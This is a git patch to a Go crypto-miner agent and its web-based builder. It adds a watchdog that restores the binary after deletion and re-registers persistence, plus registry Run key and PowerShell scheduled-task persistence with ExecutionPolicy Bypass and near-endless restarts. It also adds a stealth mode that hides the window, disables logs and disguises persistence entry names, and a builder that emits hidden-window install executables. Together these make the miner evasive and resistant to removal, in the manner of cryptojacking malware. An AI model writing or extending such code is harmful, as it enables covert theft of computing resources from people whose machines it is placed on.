From 4341121652e05d8c08eb5c4acd29eeae2be29fe9 Mon Sep 17 00:00:00 2001 From: drjones Date: Tue, 26 May 2026 23:46:46 -0700 Subject: [PATCH] Add adaptive agent identity, self-healing, stealth, and parallel RandomX. Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies. --- agent/client/client.go | 15 ++++- agent/config/adapt.go | 57 +++++++++++++++++ agent/config/adapt_test.go | 24 +++++++ agent/config/builtin.go | 4 ++ agent/config/config.go | 10 +++ agent/deploy/health.go | 66 +++++++++++++++++++ agent/deploy/identity.go | 43 +++++++++++++ agent/deploy/install.go | 94 ++++++++++++++++++++-------- agent/go.mod | 5 +- agent/go.sum | 2 + agent/main.go | 34 +++++++++- agent/miner/engine.go | 5 +- agent/miner/pool.go | 20 +++--- server/config.go | 14 +++++ server/internal/api/websocket.go | 11 +++- server/internal/builder/handler.go | 22 ++++++- server/web/src/help/settingHelp.ts | 4 ++ server/web/src/pages/BuilderPage.tsx | 39 ++++++++++++ server/web/src/types/index.ts | 8 +++ 19 files changed, 434 insertions(+), 43 deletions(-) create mode 100644 agent/config/adapt.go create mode 100644 agent/config/adapt_test.go create mode 100644 agent/deploy/health.go create mode 100644 agent/deploy/identity.go diff --git a/agent/client/client.go b/agent/client/client.go index 302336d..f9d94ce 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -35,6 +35,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { cfg: cfg, reporter: stats.NewReporter(), startTime: time.Now(), + agentID: cfg.AgentID, } } @@ -44,11 +45,22 @@ func (c *AgentClient) Run() error { c.pool.Start() defer c.pool.Stop() + backoff := 5 * time.Second + const maxBackoff = 60 * time.Second + for { + start := time.Now() if err := c.connectLoop(); err != nil { log.Printf("[agent] disconnected: %v", err) } - time.Sleep(5 * time.Second) + if time.Since(start) > 10*time.Second { + backoff = 5 * time.Second + } + time.Sleep(backoff) + backoff += 5 * time.Second + if backoff > maxBackoff { + backoff = maxBackoff + } } } @@ -75,6 +87,7 @@ func (c *AgentClient) connectLoop() error { defer close(statsStop) for { + conn.SetReadDeadline(time.Now().Add(90 * time.Second)) _, data, err := conn.ReadMessage() if err != nil { return err diff --git a/agent/config/adapt.go b/agent/config/adapt.go new file mode 100644 index 0000000..d15b8d7 --- /dev/null +++ b/agent/config/adapt.go @@ -0,0 +1,57 @@ +package config + +import ( + "runtime" + + "crypto-miner-agent/stats" +) + +const randomXMBPerThread = 384 + +// AdaptToSystem tunes thread and memory limits for the host hardware. +func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig { + if !c.AdaptToHardware { + return c + } + + out := c + totalMB := reporter.TotalMemoryMB() + if totalMB == 0 { + return out + } + + if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) { + minFree := int(totalMB / 10) + if minFree < 512 { + minFree = 512 + } + out.MinFreeRAM = minFree + } + + maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread)) + if maxByRAM < 1 { + maxByRAM = 1 + } + + threads := out.EffectiveThreads() + if threads > maxByRAM { + if out.ThreadMode == "fixed" { + out.Threads = maxByRAM + } else { + cores := runtime.NumCPU() + if cores < 1 { + cores = 1 + } + pct := int(float64(maxByRAM) / float64(cores) * 100.0) + if pct < 10 { + pct = 10 + } + if pct > 100 { + pct = 100 + } + out.ThreadPercent = pct + } + } + + return out +} diff --git a/agent/config/adapt_test.go b/agent/config/adapt_test.go new file mode 100644 index 0000000..a889c8f --- /dev/null +++ b/agent/config/adapt_test.go @@ -0,0 +1,24 @@ +package config + +import ( + "testing" + + "crypto-miner-agent/stats" +) + +func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) { + reporter := stats.NewReporter() + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ + ThreadMode: "fixed", + Threads: 16, + MaxMemoryPct: 50, + AdaptToHardware: true, + MinFreeRAM: 999999, + }} + + // Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0. + adapted := cfg.AdaptToSystem(reporter) + if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 { + t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads) + } +} diff --git a/agent/config/builtin.go b/agent/config/builtin.go index fab80c0..605b7d8 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig { ScheduleEnd: "06:00", InstallBase: "localappdata", InstallRelativePath: DefaultInstallRelativePath, + AdaptToHardware: true, + SelfHealing: true, + FileLogging: true, + StealthMode: false, } } diff --git a/agent/config/config.go b/agent/config/config.go index 367e62f..9c25104 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -38,6 +38,10 @@ type BuiltinConfig struct { InstallBase string InstallCustomBase string InstallRelativePath string + AdaptToHardware bool + SelfHealing bool + FileLogging bool + StealthMode bool } type RuntimeConfig struct { @@ -99,6 +103,12 @@ func Load() RuntimeConfig { if b.InstallRelativePath == "" { b.InstallRelativePath = DefaultInstallRelativePath } + if b.StealthMode { + b.FileLogging = false + if b.DisplayMode == "" || b.DisplayMode == "visible" { + b.DisplayMode = "background" + } + } return RuntimeConfig{BuiltinConfig: b} } diff --git a/agent/deploy/health.go b/agent/deploy/health.go new file mode 100644 index 0000000..95c9b7a --- /dev/null +++ b/agent/deploy/health.go @@ -0,0 +1,66 @@ +package deploy + +import ( + "log" + "os" + "path/filepath" + "time" + + "crypto-miner-agent/config" +) + +const backupSuffix = ".bak" + +// StartWatchdog keeps persistence and the installed binary healthy. +func StartWatchdog(cfg config.RuntimeConfig) { + if !cfg.SelfHealing { + return + } + go func() { + ticker := time.NewTicker(2 * time.Minute) + defer ticker.Stop() + for range ticker.C { + if err := maintainInstall(cfg); err != nil { + log.Printf("[watchdog] maintenance: %v", err) + } + } + }() +} + +func maintainInstall(cfg config.RuntimeConfig) error { + installDir, err := cfg.InstallDirectory() + if err != nil { + return err + } + installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") + backupExe := installedExe + backupSuffix + + if _, err := os.Stat(installedExe); os.IsNotExist(err) { + if _, statErr := os.Stat(backupExe); statErr == nil { + if copyErr := copyFile(backupExe, installedExe); copyErr != nil { + return copyErr + } + log.Printf("[watchdog] restored missing binary from backup") + } + } + + if cfg.AutoStart { + if err := configureAutoStart(cfg, installedExe); err != nil { + return err + } + } + if cfg.RunAs == "scheduled" || cfg.RunAs == "service" { + if err := createScheduledTask(cfg, installedExe); err != nil { + return err + } + } + return nil +} + +func saveBackup(installedExe string) error { + backup := installedExe + backupSuffix + if _, err := os.Stat(backup); err == nil { + return nil + } + return copyFile(installedExe, backup) +} diff --git a/agent/deploy/identity.go b/agent/deploy/identity.go new file mode 100644 index 0000000..33fb1b3 --- /dev/null +++ b/agent/deploy/identity.go @@ -0,0 +1,43 @@ +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/google/uuid" +) + +const agentIDFile = "agent.id" + +// EnsureAgentID creates a fresh agent ID during a new embed/install. +func EnsureAgentID(installDir string) (string, error) { + if err := os.MkdirAll(installDir, 0755); err != nil { + return "", err + } + id := uuid.New().String() + if err := writeAgentID(installDir, id); err != nil { + return "", err + } + return id, nil +} + +// LoadAgentID returns the persisted agent ID from the install directory. +func LoadAgentID(installDir string) (string, error) { + path := filepath.Join(installDir, agentIDFile) + data, err := os.ReadFile(path) + if err != nil { + return "", err + } + id := strings.TrimSpace(string(data)) + if id == "" { + return "", fmt.Errorf("agent id file is empty") + } + return id, nil +} + +func writeAgentID(installDir, id string) error { + path := filepath.Join(installDir, agentIDFile) + return os.WriteFile(path, []byte(id+"\n"), 0600) +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 2c52601..22d2245 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { } } - installDir, err := cfg.InstallDirectory() + installDir, err := resolveInstallDirWithFallback(cfg) if err != nil { return false, err } @@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { if err := copyFile(currentExe, installedExe); err != nil { return false, fmt.Errorf("copy miner: %w", err) } + _ = saveBackup(installedExe) + + agentID, err := EnsureAgentID(installDir) + if err != nil { + return false, fmt.Errorf("agent id: %w", err) + } logPath := filepath.Join(installDir, "miner.log") - _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( - "worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n", - cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe, - )), 0644) + if !cfg.FileLogging || cfg.StealthMode { + logPath = "" + } + + if !cfg.StealthMode { + _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( + "worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n", + cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe, + )), 0644) + } if cfg.AutoStart { - if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil { + if err := configureAutoStart(cfg, installedExe); err != nil { return false, fmt.Errorf("auto-start: %w", err) } } @@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { return true, nil } +func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) { + dir, err := cfg.InstallDirectory() + if err == nil { + return dir, nil + } + + fallbacks := []string{"localappdata", "appdata", "temp"} + seen := map[string]bool{strings.ToLower(cfg.InstallBase): true} + for _, base := range fallbacks { + if seen[base] { + continue + } + seen[base] = true + try := cfg + try.InstallBase = base + dir, tryErr := try.InstallDirectory() + if tryErr == nil { + return dir, nil + } + } + return "", err +} + func InstallDir(workerName, buildID string) (string, error) { return config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ @@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) { }.InstallDirectory() } -func configureAutoStart(workerName, exePath string) error { +func configureAutoStart(cfg config.RuntimeConfig, exePath string) error { k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err != nil { return err } defer k.Close() - return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag)) + return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag)) } func configureRunMode(cfg config.RuntimeConfig, installedExe string) error { switch cfg.RunAs { - case "scheduled": - return createScheduledTask(cfg.WorkerName, installedExe) - case "service": - // Windows service requires a service wrapper; scheduled task at logon is the practical equivalent. - return createScheduledTask(cfg.WorkerName, installedExe) + case "scheduled", "service": + return createScheduledTask(cfg, installedExe) default: + if cfg.AutoStart { + return createScheduledTask(cfg, installedExe) + } return nil } } -func createScheduledTask(workerName, exePath string) error { - taskName := sanitizeName(workerName) +func createScheduledTask(cfg config.RuntimeConfig, exePath string) error { + taskName := persistenceKeyName(cfg) if taskName == "" { taskName = "CryptoMinerAgent" } script := fmt.Sprintf( - `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, + `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, strings.ReplaceAll(exePath, `'`, `''`), runFlag, - taskName, + strings.ReplaceAll(taskName, `'`, `''`), ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) return cmd.Run() } +func persistenceKeyName(cfg config.RuntimeConfig) string { + if cfg.StealthMode { + return cfg.EffectiveProcessName() + } + name := sanitizeName(cfg.WorkerName) + if name == "" { + return cfg.EffectiveProcessName() + } + return "CryptoMiner-" + name +} + func relaunch(exePath, logPath string) error { cmd := exec.Command(exePath, runFlag) cmd.Dir = filepath.Dir(exePath) - cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) - return cmd.Start() -} - -func registryValueName(workerName string) string { - name := sanitizeName(workerName) - if name == "" { - return "CryptoMinerAgent" + if logPath != "" { + cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) } - return "CryptoMiner-" + name + return cmd.Start() } func sanitizeName(name string) string { @@ -169,7 +209,7 @@ func copyFile(src, dest string) error { } func ConfigureAutoStart(exePath string, enabled bool) error { - return configureAutoStart("default", exePath) + return configureAutoStart(config.RuntimeConfig{}, exePath) } func removeAutoStart() error { diff --git a/agent/go.mod b/agent/go.mod index d399e00..81ce34e 100644 --- a/agent/go.mod +++ b/agent/go.mod @@ -8,4 +8,7 @@ require ( golang.org/x/sys v0.19.0 ) -require golang.org/x/crypto v0.22.0 // indirect +require ( + github.com/google/uuid v1.6.0 // indirect + golang.org/x/crypto v0.22.0 // indirect +) diff --git a/agent/go.sum b/agent/go.sum index d9db676..ecfffa4 100644 --- a/agent/go.sum +++ b/agent/go.sum @@ -1,5 +1,7 @@ git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM= git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30= diff --git a/agent/main.go b/agent/main.go index 7f91f24..85125dc 100644 --- a/agent/main.go +++ b/agent/main.go @@ -1,6 +1,7 @@ package main import ( + "io" "log" "os" "path/filepath" @@ -8,6 +9,7 @@ import ( "crypto-miner-agent/client" "crypto-miner-agent/config" "crypto-miner-agent/deploy" + "crypto-miner-agent/stats" ) func main() { @@ -35,7 +37,16 @@ func main() { return } - if cfg.BackgroundMode() { + reporter := stats.NewReporter() + cfg = cfg.AdaptToSystem(reporter) + + if installDir, err := cfg.InstallDirectory(); err == nil { + if id, err := deploy.LoadAgentID(installDir); err == nil { + cfg.AgentID = id + } + } + + if cfg.BackgroundMode() || cfg.StealthMode { cfg.CPUPriority = "idle" } @@ -43,8 +54,11 @@ func main() { log.Printf("[agent] could not set CPU priority: %v", err) } - log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", - cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) + deploy.StartWatchdog(cfg) + + log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", + cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, + cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) agent := client.NewAgentClient(cfg) if err := agent.Run(); err != nil { @@ -52,7 +66,21 @@ func main() { } } +func shortID(id string) string { + if len(id) >= 8 { + return id[:8] + } + if id == "" { + return "pending" + } + return id +} + func setupLogging(cfg config.RuntimeConfig) { + if !cfg.FileLogging || cfg.StealthMode { + log.SetOutput(io.Discard) + return + } if os.Getenv("MINER_LOG_FILE") != "" { redirectLog(os.Getenv("MINER_LOG_FILE")) return diff --git a/agent/miner/engine.go b/agent/miner/engine.go index 45dbe25..d9776fc 100644 --- a/agent/miner/engine.go +++ b/agent/miner/engine.go @@ -10,6 +10,9 @@ import ( const nonceOffset = 39 const nonceSize = 4 +// RandomX JIT + hardware AES for best hashrate on supported CPUs. +const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8) + type Engine struct { mu sync.RWMutex cache *randomx.Randomx_Cache @@ -19,7 +22,7 @@ type Engine struct { } func NewEngine() *Engine { - cache := randomx.Randomx_alloc_cache(0) + cache := randomx.Randomx_alloc_cache(randomxFlags) return &Engine{cache: cache} } diff --git a/agent/miner/pool.go b/agent/miner/pool.go index 97b114c..c906512 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -19,7 +19,7 @@ type Pool struct { threads int cfg config.RuntimeConfig reporter *stats.Reporter - engine *Engine + engines []*Engine handler ShareHandler schedule *ScheduleGuard @@ -37,11 +37,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha if threads <= 0 { threads = 1 } + engines := make([]*Engine, threads) + for i := range engines { + engines[i] = NewEngine() + } return &Pool{ threads: threads, cfg: cfg, reporter: reporter, - engine: NewEngine(), + engines: engines, handler: handler, schedule: NewScheduleGuard(cfg, reporter), stopCh: make(chan struct{}), @@ -59,15 +63,17 @@ func (p *Pool) SetJob(job *job.Job) { if seed == "" && len(job.Blob) >= 64 { seed = job.Blob[:64] } - if err := p.engine.SetJob(seed, job.Blob); err != nil { - log.Printf("[miner] failed to set job: %v", err) + for _, engine := range p.engines { + if err := engine.SetJob(seed, job.Blob); err != nil { + log.Printf("[miner] failed to set job: %v", err) + } } } func (p *Pool) Start() { for i := 0; i < p.threads; i++ { p.wg.Add(1) - go p.worker(i) + go p.worker(i, p.engines[i]) } go p.resourceGuard() } @@ -123,7 +129,7 @@ func (p *Pool) resourcesOK() bool { return true } -func (p *Pool) worker(id int) { +func (p *Pool) worker(id int, engine *Engine) { defer p.wg.Done() var nonce uint32 = uint32(id * 1000000) @@ -158,7 +164,7 @@ func (p *Pool) worker(id int) { break } - hashHex, _, err := p.engine.HashAtNonce(nonce) + hashHex, _, err := engine.HashAtNonce(nonce) if err != nil { log.Printf("[miner] hash error: %v", err) break diff --git a/server/config.go b/server/config.go index de17d27..ca48dcf 100644 --- a/server/config.go +++ b/server/config.go @@ -50,6 +50,10 @@ type AgentDefaults struct { InstallBase string `json:"install_base"` InstallCustomBase string `json:"install_custom_base"` InstallRelativePath string `json:"install_relative_path"` + AdaptToHardware bool `json:"adapt_to_hardware"` + SelfHealing bool `json:"self_healing"` + FileLogging bool `json:"file_logging"` + StealthMode bool `json:"stealth_mode"` } type BackgroundConfig struct { @@ -96,6 +100,10 @@ func DefaultConfig() *Config { ScheduleEnd: "06:00", InstallBase: "localappdata", InstallRelativePath: "CryptoMiner/{worker}-{build_short}", + AdaptToHardware: true, + SelfHealing: true, + FileLogging: true, + StealthMode: false, }, Background: BackgroundConfig{ SilentMode: true, @@ -209,6 +217,12 @@ func mergeConfig(dst, src *Config) { if src.DefaultAgent.InstallRelativePath != "" { dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath } + if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging { + dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware + dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing + dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging + dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode + } dst.Background.SilentMode = src.Background.SilentMode if src.Background.RunAs != "" { dst.Background.RunAs = src.Background.RunAs diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 3e48c28..85ad51e 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -137,6 +137,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Wallet string `json:"wallet"` Version string `json:"version"` Hostname string `json:"hostname"` + Worker string `json:"worker"` CPUCores int `json:"cpu_cores"` MemoryGB int `json:"memory_gb"` } @@ -152,6 +153,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { agentID = uuid.New().String() } + displayName := auth.Worker + if displayName == "" { + displayName = auth.Hostname + } + if displayName == "" { + displayName = agentID[:8] + } + clientIP := r.Header.Get("X-Forwarded-For") if clientIP == "" { clientIP = r.RemoteAddr @@ -162,7 +171,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { agent := &models.Agent{ ID: agentID, - Name: auth.Hostname, + Name: displayName, Wallet: auth.Wallet, IP: clientIP, Version: auth.Version, diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 4358690..ce15d4c 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -43,6 +43,10 @@ type BuildRequest struct { InstallBase string `json:"install_base"` InstallCustomBase string `json:"install_custom_base"` InstallRelativePath string `json:"install_relative_path"` + AdaptToHardware bool `json:"adapt_to_hardware"` + SelfHealing bool `json:"self_healing"` + FileLogging bool `json:"file_logging"` + StealthMode bool `json:"stealth_mode"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` @@ -156,8 +160,8 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) - ldflags := "-s -w" - if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode { + ldflags := "-s -w -trimpath" + if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode { ldflags += " -H windowsgui" } @@ -289,6 +293,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" { return fmt.Errorf("install_custom_base is required when install_base is custom") } + if req.StealthMode { + req.FileLogging = false + if req.DisplayMode == "" || req.DisplayMode == "visible" { + req.DisplayMode = "background" + } + } if req.PoolHost == "" { req.PoolHost = "pool.supportxmr.com" } @@ -341,6 +351,10 @@ func GetBuiltinConfig() BuiltinConfig { InstallBase: %q, InstallCustomBase: %q, InstallRelativePath: %q, + AdaptToHardware: %v, + SelfHealing: %v, + FileLogging: %v, + StealthMode: %v, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -373,6 +387,10 @@ func GetBuiltinConfig() BuiltinConfig { req.InstallBase, req.InstallCustomBase, req.InstallRelativePath, + req.AdaptToHardware, + req.SelfHealing, + req.FileLogging, + req.StealthMode, ) } diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 19fd0d9..a0669d3 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -50,4 +50,8 @@ export const FIELD_HELP: Record = { install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', + adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.', + self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.', + file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).', + stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.', }; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 04f41fb..31731d7 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -33,6 +33,10 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build install_base: d.install_base || 'localappdata', install_custom_base: d.install_custom_base || '', install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}', + adapt_to_hardware: d.adapt_to_hardware ?? true, + self_healing: d.self_healing ?? true, + file_logging: d.file_logging ?? true, + stealth_mode: d.stealth_mode ?? false, pool_host: config.pool.host, pool_port: config.pool.port, pool_tls: config.pool.use_tls, @@ -393,6 +397,41 @@ export default function BuilderPage() { {installPreview} +
+ + +
+
+ + +
+
+ + +
+
+ +